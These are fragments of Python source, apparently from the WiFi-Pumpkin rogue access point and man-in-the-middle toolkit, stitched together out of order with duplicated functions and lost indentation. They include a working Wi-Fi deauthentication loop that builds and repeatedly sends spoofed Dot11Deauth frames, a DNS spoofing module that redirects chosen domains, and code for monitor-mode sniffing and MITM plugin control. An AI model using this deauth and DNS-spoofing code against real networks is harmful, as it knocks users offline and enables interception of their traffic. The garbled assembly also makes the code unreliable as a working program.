def parser_args_func(parse_args, config):
if parse_args.nocolors:
set_nocolors()
if parse_args.wireless_mode:
if parse_args.wireless_mode in config.get_all_childname("ap_mode"):
config.set_one("ap_mode", parse_args.wireless_mode, True)
print(
display_messages(
"Wireless Mode: {}".format(
setcolor(parse_args.wireless_mode, color="ciano")),
info=True,
))
if parse_args.restmode:
if not (parse_args.password):
print(
display_messages(
"{} \n rest mode require a valid password.".format(
setcolor("password invalid", color="red")),
info=True,
))
exit(0)
set_nocolors()
config.set_one("ap_mode", "restapi", True)
config.set("rest_api_settings", "PASSWORD", parse_args.password)
config.set("rest_api_settings", "USERNAME", parse_args.username)
config.set("rest_api_settings", "port", parse_args.restport)
server_restapi = RestControllerAPI("wp3API", config)
thead = threading.Thread(target=server_restapi.run)
thead.setDaemon(True)
thead.start()
def do_run(self, args):
""" execute deauth module attack """
client_mac = self.options.get("client")[0]
target_mac = self.options.get("target")[0]
interface = self.options.get("interface")[0]
print(display_messages("Options", info=True, sublime=True))
print(
display_messages("client:| {} |".format(
setcolor(client_mac, color="blue")),
info=True))
print(
display_messages("target:| {} |".format(
setcolor(target_mac, color="red")),
info=True))
if "00:00:00:00:00:00" in self.options.get("target")[0]:
print(
display_messages("please, select a target to deauth attack ",
error=True))
return
print(
display_messages(
"enable interface: {} to monitor mode".format(interface),
info=True))
self.set_monitor_mode("monitor")
self.thread_deauth = ThreadDeauth(target_mac, client_mac, interface)
self.thread_deauth.setObjectName("wifideauth")
self.thread_deauth.start()
def do_info(self, args):
""" get info custom captiveflask portals """
if args:
plugin_name = args.split()[0]
if not plugin_name in self.plugins_remote:
print(
display_messages(
"plugin: {} not found ".format(plugin_name), error=True
)
)
return
print(display_messages("Information", info=True, sublime=True))
list_keys = [
"Name",
"Author",
"Version",
"Installed",
"Preview",
"Description",
]
for item in list_keys:
print(
" {} : {}".format(
setcolor(item, color="blue"),
setcolor(
self.plugins_remote[plugin_name][item.lower()],
color="yellow",
),
)
)
print("\n")
def wp3_header():
_author = "{}".format(setcolor(__author__, color="yellow"))
_version = setcolor(__version__, color="yellow")
_codename = setcolor(__codename__, color="ciano")
_branch = setcolor(__branch__, color="purple")
banner(_codename)
print("by: {} - P0cL4bs Team | version: {} {}".format(_author, _version, _branch))
def do_banner(self, args):
"""core: display an awesome wp3 banner """
_author = "{}".format(setcolor(__author__, color="yellow"))
_version = setcolor(__version__, color="yellow")
_codename = setcolor(__codename__, color="ciano")
banner(_codename)
print("by: {} - P0cL4bs Team | version: {} ".format(_author, _version))
print(
display_messages(
"Session id: {} ".format(
setcolor(self.root.currentSessionID, color="red", underline=True)
),
info=True,
)
)
def do_run(self, args):
""" execute module """
print(
display_messages(
"setting interface: {} monitor momde".format(
setcolor(self.options.get("interface")[0], color="green")
),
info=True,
)
)
self.set_monitor_mode("monitor")
print(display_messages("starting Channel Hopping ", info=True))
self.p = Process(
target=self.channel_hopper, args=(self.options.get("interface")[0],)
)
self.p.daemon = True
self.p.start()
print(display_messages("sniffing... ", info=True))
sniff(
iface=self.options.get("interface")[0],
prn=self.sniffAp,
timeout=None
if int(self.options.get("timeout")[0]) == 0
else int(self.options.get("timeout")[0]),
)
self.p.terminate()
self.set_monitor_mode()
print(display_messages("thread sniffing successfully stopped", info=True))
def do_plugins(self, args=str):
"""network: show all available plugins """
headers_table, output_table = ["Name", "Active", "Description"], []
headers_plugins, output_plugins = ["Name", "Active"], []
all_plugins, config_instance = None, None
for plugin_name, plugin_info in self.root.mitm_controller.getInfo().items():
status_plugin = self.root.conf.get("mitm_modules", plugin_name, format=bool)
output_table.append(
[
plugin_name,
setcolor("True", color="green")
if status_plugin
else setcolor("False", color="red"),
plugin_info["Description"][:50] + "..."
if len(plugin_info["Description"]) > 50
else plugin_info["Description"],
]
)
if (
self.root.mitm_controller.getInfo()[plugin_name]["Config"] != None
and status_plugin
):
config_instance = self.root.mitm_controller.getInfo()[plugin_name][
"Config"
]
all_plugins = self.root.mitm_controller.getInfo()[plugin_name][
"Config"
].get_all_childname("plugins")
print(display_messages("Available Plugins:", info=True, sublime=True))
display_tabulate(headers_table, output_table)
if not all_plugins:
return
for plugin_name in all_plugins:
status_plugin = config_instance.get("plugins", plugin_name, format=bool)
output_plugins.append(
[
plugin_name,
setcolor("True", color="green")
if status_plugin
else setcolor("False", color="red"),
]
)
print(display_messages("Sniffkin3 plugins:", info=True, sublime=True))
return display_tabulate(headers_plugins, output_plugins)
def get_Hostapd_Response(self, data):
if self.conf.get("accesspoint", "status_ap", format=bool):
print(
display_messages(
"{} client has left AP ".format(setcolor(data, color="red")),
info=True,
)
)
def do_list(self, args):
""" show all avaliable templates from github """
if not path.isfile(self.save_path):
print(
display_messages(
"can't find downloaded file: {}".format(self.save_path), error=True
)
)
return
config = SettingsINI(self.config_file_ini)
plugins_installed = self.config_default.get_all_childname("plugins")
self.plugins_remote = {}
for plugin in config.get_all_childname("plugins"):
self.plugins_remote[plugin] = {}
for info in config.get_all_childname("info_{}".format(plugin)):
self.plugins_remote[plugin][info] = config.get(
"info_{}".format(plugin), info
)
self.plugins_remote[plugin]["installed"] = (
setcolor("True", color="green")
if plugin in plugins_installed
else setcolor("False", color="red")
)
self.table_output = []
for plugin in self.plugins_remote:
self.table_output.append(
[
self.plugins_remote[plugin]["name"],
self.plugins_remote[plugin]["author"],
self.plugins_remote[plugin]["installed"],
self.plugins_remote[plugin]["preview"],
]
)
if len(self.table_output) > 0:
print(
display_messages(
"Available Customs CaptiveFlask:", info=True, sublime=True
)
)
display_tabulate(self.table_headers, self.table_output)
def get_DHCPoutPut(self, data):
self._connected[data["MAC"]] = data
if self.conf.get("accesspoint", "status_ap", format=bool):
print(
display_messages(
"{} client join the AP ".format(
setcolor(data["MAC"], color="green")),
info=True,
))
def showResultData(self, data):
try:
rdata = self.getDataFromOutput(data)
except IndexError:
print(
display_messages("cannot tracked: client not found.",
error=True))
return
mac_addr = list(rdata.keys())[0]
print(
display_messages("peer: [{}]".format(
setcolor(mac_addr, color="green")),
info=True))
for item in rdata:
for key, value in rdata[item].items():
print(" {} : {}".format(setcolor(key, color="blue"),
setcolor(value, color="yellow")))
if rdata:
print("\n")
def do_update(self, args):
"""core: pulling updates from remote git repository """
if not self.check_deps_pip():
print(display_messages("pip3: command not found", error=True))
print(
display_messages(
"Pip3 is not installed, check that you’ve installed all the necessary prerequisite packages, which include python3-dev, libffi-dev, and libssl-dev.",
info=True,
))
return
branch = None
if args:
branch = args.split()[0]
if not branch in self.options.get("branches"):
print(
display_messages(
"branch: {} not found! ".format(
setcolor(branch, color="red")),
info=True,
))
return
if not branch:
branch = self.options.get("default_branch")[0]
print(
display_messages("pulling updates from remote git repository",
info=True))
print(
display_messages(
"from branch: {}".format(setcolor(branch, color="green")),
info=True,
))
anwer_question = input(
"So, do you want to continue to update ? (Y/N): ")
if anwer_question.lower() != "y":
return
os.system(self.options.get("urlparser").format(branch))
self.root.do_exit([])
def installPluginByName(self, plugin_name):
print(
display_messages(
"Install plugin:: {}".format(
setcolor(plugin_name, color="yellow")),
info=True,
sublime=True,
))
source = "{}/plugins/{}.py".format(self.extracted_filepath,
plugin_name)
destination = "{}/{}.py".format(self.captiveflask_path, plugin_name)
dest = copyfile(source, destination)
print(
display_messages("copy content file to {}".format(dest),
info=True))
folder_plugin = "{}/templates/{}".format(self.extracted_filepath,
plugin_name)
copy_tree(folder_plugin, "config/templates/{}".format(plugin_name))
print(
display_messages(
"copy content directory to {}".format(
"config/templates/{}".format(plugin_name)),
info=True,
))
self.config_default.set("plugins", plugin_name, False)
config = SettingsINI(self.config_file_ini)
if config.get_all_childname("set_{}".format(plugin_name)) != []:
for language in config.get_all_childname(
"set_{}".format(plugin_name)):
self.config_default.set("set_{}".format(plugin_name), language,
False)
self.config_default.set("set_{}".format(plugin_name), "Default",
True)
print(
display_messages(
"plugin install {}".format(setcolor("sucessful",
color="green")),
info=True,
))
def parser_args_func(parse_args):
if parse_args.nocolors:
set_nocolors()
if parse_args.wireless_mode:
if parse_args.wireless_mode in conf.get_all_childname("ap_mode"):
conf.set_one("ap_mode", parse_args.wireless_mode, True)
print(
display_messages(
"Wireless Mode: {}".format(
setcolor(parse_args.wireless_mode, color="ciano")),
info=True,
))
def do_ap(self, args):
"""ap: show all variable and status from AP """
headers_table, output_table = (
["BSSID", "SSID", "Channel", "Interface", "Status", "Security"],
[],
)
print(
display_messages("Settings AccessPoint:", info=True, sublime=True))
status_ap = self.root.conf.get("accesspoint", "status_ap", format=bool)
output_table.append([
self.root.conf.get("accesspoint", self.root.commands["bssid"]),
self.root.conf.get("accesspoint", self.root.commands["ssid"]),
self.root.conf.get("accesspoint", self.root.commands["channel"]),
self.root.conf.get("accesspoint", self.root.commands["interface"]),
setcolor("is Running", color="green")
if status_ap else setcolor("not Running", color="red"),
self.root.conf.get("accesspoint", self.root.commands["security"]),
])
display_tabulate(headers_table, output_table)
enable_security = self.root.conf.get("accesspoint",
self.root.commands["security"],
format=bool)
if enable_security:
headers_sec, output_sec = (
["wpa_algorithms", "wpa_sharedkey", "wpa_type"],
[],
)
output_sec.append([
self.root.conf.get("accesspoint", "wpa_algorithms"),
self.root.conf.get("accesspoint", "wpa_sharedkey"),
self.root.conf.get("accesspoint", "wpa_type"),
])
print(
display_messages("Settings Security:", info=True,
sublime=True))
display_tabulate(headers_sec, output_sec)
self.show_help_command("help_security_command")
def do_start(self, args):
""" start update dns zones file """
if self._background_mode:
print(
display_messages("there are a dnsspoof module in brackground.",
error=True))
return
redirectTo = self.options.get("redirectTo")[0]
if not self.options.get("domains")[0]:
print(
display_messages("please, select a domains to perform attack ",
error=True))
return
print(display_messages("DnsSpoof attack", info=True, sublime=True))
print(
display_messages(
"Redirect to: {} ".format(setcolor(redirectTo, color="blue")),
info=True,
))
print(display_messages("Targets:", info=True, sublime=True))
for target in self.options.get("domains")[0].split(","):
print(
display_messages(
"-> [{}] ".format(setcolor(target, color="red")),
info=True,
))
self.handler_dnshosts = open(self.filepath_dns_hosts, "a")
for target in self.options.get("domains")[0].split(","):
self.handler_dnshosts.write(
self.rules_model.format(dns=target, redirect=redirectTo))
self.handler_dnshosts.close()
self.set_background_mode(True)
def do_kill(self, args):
"""core: terminate a module in background by id"""
if len(self.root.threads["Modules"]) > 0:
try:
module_name = args.split()[0]
except Exception:
return
module_instance = None
if module_name in list(self.root.threads.get("Modules").keys()):
module_instance = self.root.threads["Modules"].get(module_name)
if not module_instance:
print(
display_messages(
"the module {} was not found.".format(
setcolor(module_name, color="orange")),
error=True,
))
return
return module_instance.do_stop([])
print(
display_messages("there are no module running in the background",
error=True))
def run(self):
print(
display_messages(
"starting thread {}".format(
setcolor(self.objectName(), color="green")),
info=True,
))
self.status = True
conf.iface = self.interface
pkt1 = (RadioTap() / Dot11(
type=0,
subtype=12,
addr1=self.client,
addr2=self.bssid,
addr3=self.bssid,
) / Dot11Deauth(reason=7))
pkt2 = (Dot11(addr1=self.bssid, addr2=self.client, addr3=self.client) /
Dot11Deauth())
self.pkts.append(pkt1), self.pkts.append(pkt2)
while self.status:
for packet in self.pkts:
sendp(packet, verbose=False, count=1, iface=self.interface)
def do_proxies(self, args):
"""network: show all available proxies"""
headers_table, output_table = ["Proxy", "Active", "Port", "Description"], []
plugin_info_activated = None
config_instance = None
headers_plugins, output_plugins = ["Name", "Active"], []
for plugin_name, plugin_info in self.root.proxy_controller.getInfo().items():
status_plugin = self.root.conf.get(
"proxy_plugins", plugin_name, format=bool
)
# save plugin activated infor
if plugin_info["Config"] != None:
if (
self.root.conf.get_name_activated_plugin("proxy_plugins")
== plugin_name
):
plugin_info_activated = plugin_info
config_instance = plugin_info_activated["Config"]
output_table.append(
[
plugin_name,
setcolor("True", color="green")
if status_plugin
else setcolor("False", color="red"),
plugin_info["Port"],
plugin_info["Description"][:50] + "..."
if len(plugin_info["Description"]) > 50
else plugin_info["Description"],
]
)
print(display_messages("Available proxies:", info=True, sublime=True))
display_tabulate(headers_table, output_table)
# check plugin none
if not plugin_info_activated:
return
# check if plugin selected is iquals the plugin config
if plugin_info_activated["ID"] != self.root.conf.get_name_activated_plugin(
"proxy_plugins"
):
return
all_plugins = plugin_info_activated["Config"].get_all_childname("plugins")
for plugin_name in all_plugins:
status_plugin = config_instance.get("plugins", plugin_name, format=bool)
output_plugins.append(
[
plugin_name,
setcolor("True", color="green")
if status_plugin
else setcolor("False", color="red"),
]
)
print(
display_messages(
"{} plugins:".format(plugin_info_activated["Name"]),
info=True,
sublime=True,
)
)
return display_tabulate(headers_plugins, output_plugins)
def do_info(self, args):
"""core: get information about proxy/plugin settings"""
try:
command = args.split()[0]
plugins = self.root.mitm_controller.getInfo().get(command)
proxies = self.root.proxy_controller.getInfo().get(command)
if plugins or proxies:
print(
display_messages("Information {}: ".format(command),
info=True,
sublime=True))
if plugins:
for name, info in plugins.items():
if name != "Config":
print(" {} : {}".format(
setcolor(name, color="blue"),
setcolor(info, color="yellow"),
))
if proxies:
for name, info in proxies.items():
if name != "Config":
print(" {} : {}".format(
setcolor(name, color="blue"),
setcolor(info, color="yellow"),
))
try:
commands = proxies["Config"].get_all_childname("plugins")
list_commands = []
headers_table, output_table = ["Plugin", "Value"], []
# search plugin of proxy has string "set_"
for command in commands:
for sub_plugin in proxies["Config"].get_all_childname(
"set_{}".format(command)):
output_table.append([
setcolor(
"{}.{}".format(command, sub_plugin),
color="blue",
),
proxies["Config"].get("set_{}".format(command),
sub_plugin),
])
if output_table != []:
print(
display_messages("Plugins:",
info=True,
sublime=True))
display_tabulate(headers_table, output_table)
settings = proxies["Config"].get_all_childname("settings")
if not settings:
return
headers_settings, output_settings = ["Setting",
"Value"], []
# search extra settings plugin
for command in settings:
output_settings.append([
setcolor(
"{}".format(command),
color="blue",
),
proxies["Config"].get("settings", command),
])
if output_settings != []:
print(
display_messages("Settings:",
info=True,
sublime=True))
return display_tabulate(headers_settings,
output_settings)
except AttributeError:
pass
if plugins or proxies:
print("\n")
return
except IndexError:
pass
print(
display_messages(
"the parameter {} was not found.".format(
setcolor(args, color="orange")),
error=True,
))
def do_start(self, args):
""" execute deauth module attack """
if self._background_mode:
print(
display_messages(
"there are a deauth attack in brackground.", error=True
)
)
return
client_mac = self.options.get("client")[0]
target_mac = self.options.get("target")[0]
interface = self.options.get("interface")[0]
if "00:00:00:00:00:00" in self.options.get("target")[0]:
print(
display_messages(
"please, select a target to deauth attack ", error=True
)
)
return
print(
display_messages(
"enable interface: {} to monitor mode".format(interface), info=True
)
)
print(
display_messages("Wi-Fi deauthentication attack", info=True, sublime=True)
)
print(
display_messages(
"the MAC address: {} of the client to be deauthenticated".format(
setcolor(client_mac, color="blue")
),
info=True,
)
)
info_target = self.aps.get(target_mac)
if info_target:
channel = info_target.get("channel")
print(
display_messages(
"waiting for beacon frame (BSSID: {}) on channel {} ".format(
setcolor(target_mac, color="orange"), channel
),
info=True,
)
)
print(
display_messages(
"Sending DeAuth to station -- STMAC: [{}] ".format(
setcolor(target_mac, color="red")
),
info=True,
)
)
self.set_monitor_mode("monitor")
self.thread_deauth = ThreadDeauth(target_mac, client_mac, interface)
self.thread_deauth.setObjectName("wifideauth")
self.thread_deauth.start()
self.set_background_mode(True)
def main():
app = QtCore.QCoreApplication(sys.argv)
conf = SettingsINI.getInstance()
# settings default values that change on
conf.set("accesspoint", "status_ap", False)
parser = argparse.ArgumentParser(
description="WiFi-Pumpkin - pure line-oriented command"
)
parser.add_argument(
"-i", dest="interface", help="set interface for create AP", default=""
)
parser.add_argument(
"-s", dest="session", help="set session for continue attack", default=None
)
parser.add_argument(
"-p",
"--pulp",
dest="pulp",
help="interactive sessions can be scripted with .pulp file",
default="",
)
parser.add_argument(
"-x",
"--xpulp",
dest="xpulp",
help='interactive sessions can be string with ";" as the separator',
default="",
)
parser.add_argument(
"-m",
"--wireless-mode",
dest="wireless_mode",
help="set wireless mode settings",
default=None,
)
parser.add_argument(
"--no-colors",
dest="nocolors",
help="disable terminal colors and effects.",
action="store_true",
default=False,
)
parser.add_argument(
"-v",
"--version",
action="version",
dest="version",
version="%(prog)s v{}".format(__version__),
)
parse_args = parser.parse_args()
parser_args_func(parse_args)
# check is rootuser
if not getuid() == 0:
sys.exit("[!] Wp3 must be run as root.")
_author = "{}".format(setcolor(__author__, color="yellow"))
_version = setcolor(__version__, color="yellow")
_codename = setcolor(__codename__, color="ciano")
banner(_codename)
print("by: {} - P0cL4bs Team | version: {} ".format(_author, _version))
prompt = PumpkinShell(parse_args)
prompt.cmdloop("Starting prompt...")
sys.exit(app.exec_())
